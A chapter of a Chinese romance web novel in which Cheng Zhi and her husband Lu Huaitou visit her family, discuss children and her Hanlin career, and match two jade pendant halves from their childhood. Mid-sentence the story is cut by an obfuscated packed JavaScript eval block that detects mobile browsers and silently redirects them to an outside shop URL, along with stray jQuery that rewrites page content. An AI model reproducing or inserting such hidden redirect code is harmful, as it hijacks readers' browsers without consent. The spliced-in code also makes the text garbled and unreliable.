85. 多年前已经相遇
作品:《殿前政敌帐内夫妻》 “小沐安,姑姑也想你呢。”程知弯腰,亲昵摸着程沐安的脑袋,“有没有好好上学啊?”
“有,今日老师还夸我了。”程沐安应得大声,亲近地抱着程知不撒手。
雷紫君见状拉开程沐安,引向陆怀骰方向,“沐安,这是小姑父。”
程沐安规规矩矩面向陆怀骰,弯腰作揖,“沐安拜见小姑父。”
“沐安若想念小姑姑,可到国公府小住,免了思念之苦。”陆怀骰看在程知的面子上,学着爱屋及乌。
程知略显惊讶看着陆怀骰,她所认识的陆怀骰,并非博爱之人。之前对崔雨蓝好不过是因为唐素仪,如今能主动邀请程沐安到国公府,倒是让人诧异。
接收到陆怀骰挑眉的小表情,程知含笑回应。
程沐安高兴得欢呼,又看到陆怀骰送他的礼物。都是边境带来的小玩意,虽不贵重,却胜在新鲜,程沐安兴奋跑过去把玩,连吃饭都不愿意久待,一个人在一旁玩得不亦乐乎。
用过晚膳,程知夫妻准备回国公府,程家老小皆到送别。
“小姑姑,我会想你的。”程沐安不舍地抱着程知,双眼通红。他不懂小姑姑嫁人是什么意思,只知道以后见面越来越少。
他有两个姑姑,但程昭在他一岁的时候已经外嫁。他记事以来,父亲程翊经常在外忙碌,母亲也要打理家里琐事,他经常跟在程知屁股后面长大。
也因程知性子比程翊、程昭等人活泼,他更愿意亲近开朗好玩的程知。
小孩子一天高一点,程知有些费力抱着程沐安,“小沐安要好好读书,姑姑得了空就回来陪你玩,可好?”
程沐安委屈巴巴,没有拒绝的余地,“嗯好。”
那可怜的模样惹人怜惜,程翊一把接过儿子,“好了,今早还说自己是男子汉,别一整天赖你小姑姑身上。”
程沐安委屈趴在程翊身上,不说话,也不看人。
安顿了程沐安,程守义才出声说话,“天色不早,你们早些回去,也可以早些休息。”
程知和陆怀骰再次躬身行礼,“岳父岳母留步。”
王静容既不舍又高兴看着,上前与程知低语两句,惹得程知蹙眉娇羞。
程知娇嗔道:“娘亲,我知道啦。你们进去吧,我们先回国公府了,我改天再回来。”
“好好好,你跟姑爷一起回来。”王静容满意地看着小夫妻,越看越觉得般配。
陆怀骰不知王静容说了什么,辞别程家,揽着程知上马车。
马车内,陆怀骰好奇询问:“方才岳母与你说了什么?”
程知不答,可脸颊的微红加重了几分。
这娇羞的模样勾徳陆怀骰心痒痒,凑近程知,求知欲陡然升高,“到底是什么话,能让你这般娇羞?”
程知身子缩靠在车框上,羞红着脸,低声低喃,“娘亲说,让我早点为陆家开枝散叶。”
陆怀骰一怔,很快嘴角的弧度逐渐上扬,半靠在程知身上,“岳母的嘱咐,我们自当要尽心,今夜我们早些歇息。”
他开始期待,他和程知长得这般漂亮,他们的孩子会长什么样?
可程知有些担忧,她低声说着自己的顾虑,“可是,我若怀胎十月,又要产后休养,至少一年半载无法全心处理公务。我还在翰林院当差,关键时刻,定然会影响我仕途之路,该如何是好?”她说得很仔细,一边说,一边打量陆怀骰的脸色。
陆怀骰那嬉笑的表情多了一丝严肃,沉思片刻,“你不想生孩子?”不可否认,程知若是怀孕生子,定会耽误程知升官,他很快便做了决定,郑重道:“若是不想,我们不生便是。我们相伴一生,最要紧的是你。”
程知反问:“你可是陆家最看重的人,长子长孙,若无后嗣,如何与陆家宗祠交代?”
“都说了我是长子长孙,更要护着自己的妻子。你知道的,我一向听你的。”话到最后,陆怀骰语气带着几分委屈,整个人黏在程知身上蹭。
“我没说不愿意,只是不知该如何妥善处理这两件事?生育和公务,对女子来说,却是难以兼顾。”程知心中一暖,推开陆怀骰,认真解释。
陆怀骰点头,真诚回应,“你若愿意忍受生育辛劳,我自当护你周全。你若投身国家,我们亦携手同行。若你也想子嗣承欢膝下,我可以从陆家的子嗣中,寻一品行端正的孤儿过继到我们名下。”
得夫如此,妻复何求?
自幼备受宠爱,程知难得有了感动的情绪,靠在陆怀骰怀里,紧紧地贴在陆怀骰胸膛,“我愿意的。你给我点时间,看看该如何妥善安排女子为官期间的生育事宜。”
陆怀骰抱着程知,低头亲吻程知额头,温柔地“嗯”了一声。
夜色降临,小夫妻安稳回到英国公府。
临睡前,程知阻止陆怀骰手里的动作,“你等等,我还有件事跟你讲。”
陆怀骰不悦,被迫停下动作,“都要歇息了,做什么去?”
“我在娘亲那边拿了半块玉佩,你看看熟不熟悉。”程知打算下床,却被陆怀骰紧紧禁锢着,“今日跟娘亲嫂嫂说话的时候,从娘亲房间拿的,本来在程家就要给你看的,谁知道你情发不能自控,我才忘了这事。”
“什么玉佩这么要紧?非得这个时候说!”临阵停下,陆怀骰明显不乐意,根本不想管玉佩的事情。
程知软声轻哄,“我又跑不出这个房间,你就再等等嘛。”
陆怀骰没有答应,只是怨念看着程知,送了送手上的劲。
腰间的力道减轻,程知连滚带爬下了床,拿出从程家带过来的半块玉佩,“你瞧瞧,你玉佩可眼熟?”
夜色黑,陆怀骰不明所以接过。仔细一看才发现,这半块玉佩竟如此眼熟,好似自己之前的玉佩。
某些往事涌上心头,他皱起眉头,“你怎么会有这玉佩?”
陆怀骰曾随身随带一块残缺的玉佩,后来因程知所赠,他才换了常年佩戴的禁步。
突然在程知手上发现与自己相似的玉佩,显然有些意外。他也起身去找自己的玉佩,将两者合二为一,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649856|177255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
确定这两块残缺的玉佩原为一体。
“之前你初到云鬓坊那会,我便奇怪你身上的玉佩有些眼熟,但那会事情繁杂,我便忘了。后来你不佩戴,我更是想不起来了。直到昨日我在娘亲房中说话,突然想起此事,才像娘亲拿了这半块玉佩。”程知回想着王静容的话,知无不言,“问了娘亲才知道,许多年前,我与娘亲到郊外去,途中救助一位夫人和小公子,夫人便赠了我娘亲半块玉佩,说是到京城可寻她帮忙。”
陆怀骰握着两个玉佩,惊叹世间竟有如此巧合的事情,将往事娓娓道来,“在我七岁那年,我与母亲探望边境外祖,回京途中遭遇盗匪,母亲带我乘一马车逃离。不曾想,母亲迷失了方向,幸得一夫人相助,送我与母亲回京。别离时,母亲将随身玉佩摔成两块,一块赠予夫人做信物,另一块让我随身携带庇护。没想到,这两块玉佩竟有重逢之日。”
程知听得津津有味,抬头时,意识到陆怀骰黯下去的眼眸,猜到他想早逝的仪宁郡主,心里肯定难受,故作轻松,“原来你就是娘亲口中的小公子,没想到我们那么早就见过面了。”
听见程知的声音,陆怀骰的情绪明显好转,放下玉佩,伸手将程知揽入,“原来岳母和夫人早就救过我,看来老天爷是要我以身相许。”
“那往后,你可不许欺负我。”程知挑眉打趣,妩媚的模样透着一丝娇憨。
陆怀骰抱起程知回床榻,低笑道:“我哪里敢欺负你?我不是一向最听夫人的话?”
程知双手自然圈在陆怀骰脖颈处,“欸,你对那时候的我,可还有印象?”
陆怀骰一边理着衣服,一边回忆,亲昵靠近程知,“自然记得,那时候你说话还不利索,拽着我衣裳玩,还总是对着我流口水。”
“你胡说!”程知羞红了脸,手脚并用控诉陆怀骰,“你乱说,陆怀骰,你少污蔑我!”
这般急躁的反应,陆怀骰脸上的笑意更深,轻而易举握住程知作乱的双手,潮热的呼吸抵着程知,“怎么没有?夫人昨夜可比小时候更贪,昨夜的口水……”他目睹程知逐渐变红的脸颊,修长的手指在程知面前晃了晃,不紧不慢说道:“还浸湿了为夫的手指。”
昨夜榻上的“荒唐”瞬间涌入脑海,程知羞得无处可藏,“陆怀骰!你颠倒黑白!分明是你……”
“我怎么?”
“你混蛋!”
“夫人,该歇息了。”
“陆怀骰,你……”
良宵苦短,灯火摇曳,陆怀骰可不想浪费光阴,拉起锦被将两人身影盖住。
由于程知身有官职,又有陆怀骰的强势警告,陆家上下并没有谁敢到程知跟前自讨没趣。程知认真校注典籍,除了陆怀骰亲自将人拉走,她一直待在翰林院或者栖梧园书房。
好在功夫不负有心人,程知顺利完成掌院学士的任务。
掌院学士查阅校注册,颇为满意点点头,夸奖了几句,便让程知离开。
可程知并没有离开的迹象,纠结之态,“大人,下官有事请教。”

